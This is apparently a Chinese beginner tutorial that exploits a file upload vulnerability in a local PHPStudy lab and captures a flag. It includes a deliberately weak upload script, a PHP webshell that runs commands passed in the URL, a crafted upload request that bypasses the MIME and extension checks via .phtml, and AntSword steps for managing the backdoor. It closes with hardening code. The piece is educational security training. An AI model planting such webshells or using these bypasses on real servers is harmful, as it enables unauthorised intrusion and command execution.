新手必看：用PHPStudy+蚁剑实战文件上传漏洞（从上传到拿Flag全流程）

weixin_30906185

381人浏览 · 2026-05-31 10:31:42

weixin_30906185 · 2026-05-31 10:31:42 发布

从零构建文件上传漏洞实战环境：PHPStudy与蚁剑的攻防演练

在网络安全领域，文件上传漏洞长期占据OWASP Top 10榜单，是Web应用中最常见也最危险的安全隐患之一。对于刚入门的安全爱好者而言，如何将理论知识转化为实战能力往往是个难题。本文将带你从环境搭建开始，逐步完成一个完整的文件上传漏洞利用链条。

1. 实验环境准备与靶场搭建

工欲善其事，必先利其器。我们需要先配置一个安全的实验环境，避免对真实系统造成影响。PHPStudy作为一款集成的PHP开发环境，能够快速搭建本地测试服务器。

基础组件安装清单 ：

PHPStudy 8.1（包含Apache 2.4.39和PHP 7.3.4）
Burp Suite Community版
蚁剑(AntSword) v2.1.15
浏览器（推荐Chrome或Firefox）

安装PHPStudy后，在www目录下创建测试文件upload.php，这是我们的漏洞靶场核心代码：

<?php
if(isset($_FILES['file'])){
    $allowed_types = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['file']['type'], $allowed_types)){
        die('只允许上传图片文件！');
    }
    
    $extension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
    if(in_array($extension, array('php','php5','phar'))){
        die('危险文件类型！');
    }
    
    move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/'.$_FILES['file']['name']);
    echo '文件上传成功：'.$_FILES['file']['name'];
}
?>

这个示例代码模拟了常见的防护措施：

检查Content-Type是否为图片类型
过滤危险文件后缀
将文件保存到uploads目录

2. 文件上传漏洞原理深度解析

文件上传漏洞的本质在于服务器对用户提交的文件验证不充分。常见的防护绕过手段可以分为三类：

验证机制对比表 ：

验证类型	常见实现	绕过方法
客户端验证	JavaScript检查文件扩展名	禁用JS或修改请求
MIME类型验证	检查Content-Type头	伪造为image/jpeg等
服务端扩展名检查	黑名单过滤php等扩展	使用php3/phtml等替代
文件内容验证	检查文件头或渲染图片	在图片中嵌入恶意代码

对于我们的靶场代码，存在两个关键漏洞点：

仅检查Content-Type而忽略实际文件内容
扩展名黑名单不完整（未包含phtml）

3. 实战绕过文件上传限制

现在我们来一步步绕过靶场的防护措施。首先准备我们的WebShell代码，为了避免被过滤，我们使用替代PHP标签：

<script language="php">
    system($_GET['cmd']);
</script>

将上述代码保存为shell.php，然后开始攻击流程：

首次尝试直接上传 ：
- 选择shell.php文件上传
- 预期结果：被扩展名过滤拦截
绕过Content-Type检查 ：
- 使用Burp Suite拦截上传请求
- 修改Content-Type为image/jpeg
- 关键请求参数示例：
```
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
```

绕过扩展名过滤 ：

将文件名改为shell.phtml
PHTML文件通常也能被PHP解析

最终成功上传的请求特征：

POST /upload.php HTTP/1.1
Content-Type: multipart/form-data

--boundary
Content-Disposition: form-data; name="file"; filename="shell.phtml"
Content-Type: image/jpeg

<script language="php">system($_GET['cmd']);</script>
--boundary--

4. 蚁剑连接与权限维持

成功上传WebShell后，我们需要一个图形化工具来管理后门。蚁剑是当前最流行的WebShell管理工具之一，支持多种协议和功能扩展。

蚁剑连接配置步骤 ：

右键点击左侧空白区域选择"添加数据"
填写URL为WebShell地址：http://localhost/uploads/shell.phtml
密码类型选择"default"（因为我们使用的是公开密码）
点击测试连接确认可用性

连接成功后，你可以在蚁剑中执行以下操作：

浏览服务器文件系统
执行系统命令
上传/下载文件
数据库管理
虚拟终端操作

常用命令示例 ：

# 查看当前用户权限
whoami

# 列出根目录文件
ls /

# 查找flag文件
find / -name "*flag*" 2>/dev/null

5. 防御措施与加固建议

了解攻击手段后，我们更应该知道如何防御。以下是几种有效的文件上传防护方案：

多维度验证策略 ：

使用白名单而非黑名单（仅允许jpg/png等）
文件内容检测（通过GD库验证是否为真实图片）
随机重命名上传文件
设置严格的权限限制（不可执行）
存储在非Web可访问目录

安全上传代码示例 ：

$allowed_ext = ['jpg','png','gif'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

if(!in_array($ext, $allowed_ext)){
    die('非法文件类型');
}

// 验证文件内容
if(!@getimagesize($_FILES['file']['tmp_name'])){
    die('文件内容不合法');
}

// 随机生成文件名
$new_name = md5(uniqid()).'.'.$ext;
move_uploaded_file($_FILES['file']['tmp_name'], '/var/storage/'.$new_name);